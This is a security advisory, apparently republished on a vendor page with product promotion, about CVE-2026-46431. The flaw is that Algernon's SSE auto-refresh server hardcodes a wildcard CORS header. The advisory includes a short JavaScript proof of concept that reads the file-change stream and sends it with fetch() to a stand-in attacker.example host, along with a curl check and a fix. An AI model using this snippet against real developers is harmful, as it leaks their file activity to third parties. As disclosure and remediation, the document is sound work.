Summary
Algernon: Auto-refresh SSE event server sets Access-Control-Allow-Origin: *
Full technical description
The SSE event server's Access-Control-Allow-Origin response header was hardcoded to the wildcard * regardless of the caller's Origin. Because EventSource does not preflight and does not send cookies, the wildcard is sufficient to let any third-party page the developer visits open a cross-origin EventSource to the SSE port and read the live filename stream from JavaScript. Combined with the lack of authentication (advisory #2a), no further trickery is required, any tab the developer opens has script-level read access to the stream.
This advisory covers the CORS configuration in isolation. The fix is independent of authentication and bind-address fixes: the wildcard could be replaced with a same-origin echo without touching either.
Details
Root cause, hard-coded "*" passed as the CORS allowed-origin
// engine/config.go (1.17.6, MustServe)
recwatch.EventServer(absdir, "*", ac.eventAddr, ac.defaultEventPath, ac.refreshDuration)
The literal "*" is the second positional argument. The vendored recwatch implementation reflects it verbatim into the response header:
// vendor/github.com/xyproto/recwatch/eventserver.go:100-108 (1.17.6)
func GenFileChangeEvents(events TimeEventMap, mut *sync.Mutex, maxAge time.Duration, allowed string) http.HandlerFunc {
return func(w http.ResponseWriter, _ *http.Request) {
w.Header().Set("Content-Type", "text/event-stream;charset=utf-8")
w.Header().Set("Cache-Control", "no-cache")
w.Header().Set("Connection", "keep-alive")
w.Header().Set("Access-Control-Allow-Origin", allowed)
...
}
}
There is no decision based on the request's Origin header, and no allow-list mechanism, every caller is told their origin is approved.
Why the wildcard is exploitable
EventSource opens a GET request, never sends a preflight, and never carries cookies. The same-origin policy normally still blocks the response body from being read by JavaScript at a different origin, that is the role of Access-Control-Allow-Origin. When the server returns *, the browser permits the cross-origin script to read every message event.
So a developer running algernon -a on their workstation, with the SSE listener at http://127.0.0.1:5553/sse (Windows) or http://0.0.0.0:5553/sse (Linux/macOS), only needs to visit any third-party origin in another tab for the following to drain their stream silently:
<!doctype html>
<script>
const s = new EventSource('http://127.0.0.1:5553/sse');
s.onmessage = e => fetch('https://attacker.example/log?f=' + encodeURIComponent(e.data));
</script>
The exploit is cookie-less and CORS-clean, no SameSite, no third-party-cookie restriction, no preflight challenge applies. The user interaction is "visit a webpage," which UI:R in the CVSS vector reflects.
PoC (against 1.17.6)
# 1. Operator: algernon -a /path/to/project on Windows; SSE at localhost:5553
# 2. Attacker lures the developer to https://news.example:
# The page contains the snippet above.
# 3. EventSource opens, browser sends the request; algernon responds with
# Access-Control-Allow-Origin: *, browser passes message events to the
# cross-origin script; script ships filenames to attacker.example.
CLI reproduction of the header is identical to advisory #2a's transcript; the relevant evidence is the Access-Control-Allow-Origin: * value in the response, not the body.
Suggestions to fix
Primary fix, echo a same-origin allow-list instead of *.
// vendor/github.com/xyproto/recwatch/eventserver.go -- in GenFileChangeEvents
origin := r.Header.Get("Origin")
if !isAllowedOrigin(origin) {
http.Error(w, "forbidden", http.StatusForbidden)
return
}
w.Header().Set("Access-Control-Allow-Origin", origin)
w.Header().Set("Vary", "Origin")
The allowed parameter must change from "*" to an explicit allow-list (or a single canonical server origin), for example, sseScheme + "://" + ac.serverAddr. With the server's own scheme+host+port in Allow-Origin, a cross-origin request from evil.example is rejected by the browser because the response advertises a different origin.
Defence in depth, drop the legacy dedicated-port code path. Mounting the SSE handler on the main mux instead lets the response omit Access-Control-Allow-Origin entirely (same-origin only by default). The dedicated --eventserver-style path is the only place Access-Control-Allow-Origin is set in the codebase; removing the dedicated path simplifies the surface.
Live verification
$ ./algernon.exe --nodb --httponly --server -a --addr 127.0.0.1:18779 --quiet poc2/site
$ ( curl -sNi --max-time 2 -H "Origin: http://evil.example" http://127.0.0.1:5553/sse > sse.txt &
sleep 1
echo "trigger" >> poc2/site/probe.txt
wait )
$ cat sse.txt
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Cache-Control: no-cache
Connection: keep-alive
Content-Type: text/event-stream;charset=utf-8
...
id: 0
data: C:\Users\xbox\Desktop\VulnTesting\algernon-main\poc-test\poc2\site\probe.txt
The Origin: http://evil.example request header was echoed back as Access-Control-Allow-Origin: * (the wildcard, browsers treat this as "any origin may read"). A cross-origin tab at any URL can run new EventSource("http://<algernon>:5553/sse") and read the stream.
Impact
- Confidentiality: medium. Cross-origin browser-tab read access to the file-change stream, with no server-side knowledge that the read happened.
- Integrity: none.
- Availability: none directly (the cross-origin tab does not exhaust resources beyond the user's own browser).
CVE-2026-46431 has a CVSS score of 4.3 (Medium). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.17.7); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-46431? CVE-2026-46431 is a medium-severity security vulnerability in github.com/xyproto/algernon (go), affecting versions <= 1.17.6. It is fixed in 1.17.7.
- How severe is CVE-2026-46431? CVE-2026-46431 has a CVSS score of 4.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/xyproto/algernon are affected by CVE-2026-46431? github.com/xyproto/algernon (go) versions <= 1.17.6 is affected.
- Is there a fix for CVE-2026-46431? Yes. CVE-2026-46431 is fixed in 1.17.7. Upgrade to this version or later.
- Is CVE-2026-46431 exploitable, and should I be worried? Whether CVE-2026-46431 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-46431 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-46431? Upgrade
github.com/xyproto/algernonto 1.17.7 or later.